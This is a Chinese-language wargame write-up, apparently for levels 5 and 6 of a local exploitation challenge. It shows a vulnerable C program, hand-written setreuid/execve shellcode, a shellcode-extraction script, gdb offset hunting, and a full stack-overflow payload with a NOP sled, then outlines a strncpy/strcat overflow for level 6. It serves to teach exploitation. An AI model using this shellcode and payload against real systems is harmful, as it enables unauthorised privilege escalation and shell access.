Level 5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {

char buf[128];

if(argc < 2) return 1;

strcpy(buf, argv[1]);

printf("%s\n", buf);

return 0;
}

典型的buffer overflow,而且没有任何的保护措施,直接在栈上执行shellcode就可以了。

在拿到shell之前需要先进行setreuid提权,写出shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# exp.S
# setreuid

xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx

mov $70, %al
mov $1006, %bx
mov $1006, %cx
int $0x80

# execve /bin/sh

xor %eax, %eax
push %eax
push $0x68732f2f
push $0x6e69622f
mov %esp, %ebx
push %eax
push %ebx
mov %esp, %ecx
cltd
mov $0xb, %al
int $0x80

随后使用gcc汇编,然后objdump得到shellcode,这里我自己写了个小脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
# coding: utf-8

# extract.py

import sys
text = sys.stdin.read()
shellcode = ''
length = 0
flag = False

for line in text.strip().split('\n'):
if flag:
code = line.split('\t')[1].strip()
code = ['\\x'+x for x in code.split(' ')]
length += len(code)
shellcode += ''.join(code)
if '<.text>' in line:
flag = True

print shellcode
print '[+] %d bytes' % length

用这个脚本可以直接从objdump的数据中提取出可用的shellcode:

1
2
3
4
5
6
$ gcc -c exp.S -o exp.o
$ objdump -d exp.o | ./extract.py

\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x66\xbb\xee\x03\x66\xb9\xee\x03\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
[+] 44 bytes

得到44字节的shellcode。

接着研究程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ gdb level05
> disas main

Dump of assembler code for function main:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: sub $0xa8,%esp
0x080483bd <+9>: and $0xfffffff0,%esp
0x080483c0 <+12>: mov $0x0,%eax
0x080483c5 <+17>: sub %eax,%esp
0x080483c7 <+19>: cmpl $0x1,0x8(%ebp)
0x080483cb <+23>: jg 0x80483d9 <main+37>
0x080483cd <+25>: movl $0x1,-0x8c(%ebp)
0x080483d7 <+35>: jmp 0x8048413 <main+95>
0x080483d9 <+37>: mov 0xc(%ebp),%eax
0x080483dc <+40>: add $0x4,%eax
0x080483df <+43>: mov (%eax),%eax
0x080483e1 <+45>: mov %eax,0x4(%esp)
0x080483e5 <+49>: lea -0x88(%ebp),%eax
0x080483eb <+55>: mov %eax,(%esp)
0x080483ee <+58>: call 0x80482d4 <strcpy@plt>
0x080483f3 <+63>: lea -0x88(%ebp),%eax
0x080483f9 <+69>: mov %eax,0x4(%esp)
0x080483fd <+73>: movl $0x8048524,(%esp)
0x08048404 <+80>: call 0x80482b4 <printf@plt>
0x08048409 <+85>: movl $0x0,-0x8c(%ebp)
0x08048413 <+95>: mov -0x8c(%ebp),%eax
0x08048419 <+101>: leave
0x0804841a <+102>: ret
End of assembler dump.

看到strcpy上面给出的地址是ebp-0x88,即ebp下136个字节,这样写140个字节后可以到达main的return addr。

找一找我们缓冲区的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
> set args $(python -c "print '\x90'*144")
> r
> x /200xw $esp
...
0xbffffe00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe30: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffe80: 0x90909090 0x90909090 0x90909090 0x00909090
0xbffffe90: 0x4c454853 0x622f3d4c 0x622f6e69 0x00687361
0xbffffea0: 0x4d524554 0x6574783d 0x53006d72 0x545f4853
...

利用NOP Sled,可以选择其中任意的位置,这里选择0xbffffe40就可以。

前面的140字节,44字节是shellcode,剩余的96字节为nop,接着写出return addr就可以了。

最终的payload就是这样

1
$ ./level05 $(python -c "print '\x90'*96+'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x46\x66\xbb\xee\x03\x66\xb9\xee\x03\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'+'\x40\xfe\xff\xbf'")

Level 6

程序如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

enum{
LANG_ENGLISH,
LANG_FRANCAIS,
LANG_DEUTSCH,
};

int language = LANG_ENGLISH;

struct UserRecord{
char name[40];
char password[32];
int id;
};

void greetuser(struct UserRecord user){
char greeting[64];
switch(language){
case LANG_ENGLISH:
strcpy(greeting, "Hi "); break;
case LANG_FRANCAIS:
strcpy(greeting, "Bienvenue "); break;
case LANG_DEUTSCH:
strcpy(greeting, "Willkommen "); break;
}
strcat(greeting, user.name);
printf("%s\n", greeting);
}

int main(int argc, char **argv, char **env){
if(argc != 3) {
printf("USAGE: %s [name] [password]\n", argv[0]);
return 1;
}

struct UserRecord user = {0};
strncpy(user.name, argv[1], sizeof(user.name));
strncpy(user.password, argv[2], sizeof(user.password));

char *envlang = getenv("LANG");
if(envlang)
if(!memcmp(envlang, "fr", 2))
language = LANG_FRANCAIS;
else if(!memcmp(envlang, "de", 2))
language = LANG_DEUTSCH;

greetuser(user);
}

漏洞在strncpy时,如果name被写满的话,就没有地方存放末尾的0字符。因为name与password的存储空间是连着的,后面strncpy会把前面写的0字符覆盖,导致user.name和user.password连成了一个字符串。

这样在greetuser函数中,strcat连接就可能造成栈溢出。

用gdb得到写76 bytes到达greetuser的return addr,而name与password加起来才72 bytes,这时候利用前面的language,我们把LANG前2位设置成de,这样一开始就有11个bytes了。

shellcode与level05的类似,只是在提权时uid应该写1007,可以存放在username中或者直接存放于环境变量里,return addr指向它即可。